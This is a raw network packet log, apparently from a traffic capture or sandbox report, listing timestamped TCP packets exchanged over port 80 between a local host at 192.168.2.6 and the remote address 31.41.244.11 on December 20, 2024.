Dec 20, 2024 21:13:29.485960007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.486834049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.486912966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.486960888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.487042904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.487982988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.488037109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.488082886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.488168955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.489110947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.489249945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.489258051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.489330053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.490300894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.490360022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.490426064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.490473986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.491518974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.491595984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.491606951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.491652012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.492737055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.492835999 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.492837906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.492887974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.493851900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.493917942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.494057894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.494204044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.495039940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.495098114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.495122910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.495336056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.496191978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.496303082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.496356010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.497390985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.497478008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.497535944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.497678041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.498558044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.498626947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.498673916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.498743057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.499747992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.499799013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.499958992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.500077009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.500926018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.500967979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.501017094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.501157999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.502070904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.502202988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.502273083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.502329111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.503299952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.503351927 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.503427982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.503591061 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.504451036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.504544020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.504569054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.504667044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.505659103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.505723000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.505755901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.505831003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.506825924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.506925106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.506932020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.506974936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.507982016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.508035898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.508073092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.508128881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.509145975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.509210110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.509289980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.509371042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.510323048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.510366917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.510406971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.510466099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.511672020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.511754036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.511758089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.512016058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.512721062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.512792110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.512818098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.513248920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.513926029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.513968945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.514012098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.514518976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.514982939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.515332937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.651341915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.651448965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.651462078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.651557922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.651731968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.651782036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.652091026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.652380943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.652895927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.653100014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.653104067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.653304100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.654155970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.654278994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.654289961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.654359102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.655287981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.655349016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.655469894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.655591965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.656394005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.656467915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.656557083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.656662941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.657651901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.657749891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.657762051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.657860041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.658801079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.658891916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.658938885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.659082890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.659987926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.660170078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.660171986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.660460949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.661149979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.661216974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.661242008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.661566019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.662296057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.662549973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.662569046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.662606955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.663536072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.663639069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.663727999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.663727999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.664666891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.664727926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.664762974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.664906979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.665931940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.665968895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.666095018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.666207075 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.667130947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.667196989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.667253017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.667253017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.668230057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.668287039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.668379068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.668638945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.669389963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.669456959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.669495106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.669704914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.670700073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.670763969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.670777082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.670804977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.671714067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.671828032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.672265053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.672388077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.672874928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.672991037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.673357010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.673357010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.674066067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.674168110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.674202919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.674202919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.675301075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.675405025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.675455093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.675455093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.676431894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.676484108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.676532030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.676918030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.677582979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.677674055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.677681923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.677764893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.678802967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.678951979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.678960085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.679085016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.679976940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.680042982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.680094957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.680152893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.681200027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.681308031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.681356907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.681356907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.682356119 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.682436943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.682437897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.682735920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.683594942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.683686972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.683830023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.683830023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.684659958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.684752941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.684777975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.685025930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.685847044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.685933113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.686073065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.686146021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.687031984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.687144995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.687340975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.687340975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.688199043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.688325882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.688447952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.688447952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.689376116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.689481020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.689518929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.689518929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.690598965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.690691948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.690767050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.691342115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.691732883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.691839933 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.691879034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.691952944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.692950964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.693151951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.693171978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.693413973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.694068909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.694159031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.694305897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.694360971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.695401907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.695455074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.695535898 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.695578098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.696459055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.696531057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.696580887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.696676970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.697673082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.697747946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.697874069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.698179960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.698863029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.699009895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.699198008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.699275017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.700141907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.700217962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.700256109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.700370073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.701128006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.701292038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.701390028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.701431036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.702383041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.702461004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.702536106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.702646017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.703562021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.703624964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.703855038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.703855038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.704751968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.704890013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.704946995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.704946995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.705854893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.706037045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.706052065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.706113100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.707037926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.707153082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.707345963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.707345963 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.708219051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.708331108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.708417892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.708417892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.709379911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.709500074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.709526062 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.709589005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.710585117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.710675001 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.710690975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.710736036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.711754084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.711800098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.711915970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.712234974 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.712899923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.713160038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.843250036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.843300104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.843386889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.843563080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.843817949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.843868017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.843878031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.843991995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.844727039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.844809055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.844825029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.845077991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.845962048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.846066952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.846163988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.846163988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.847120047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.847254038 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.847259998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.847337961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.848226070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.848340988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.848361015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.848541975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.849381924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.849505901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:29.849567890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:29.849647045 CET	49887	80	192.168.2.6	31.41.244.11
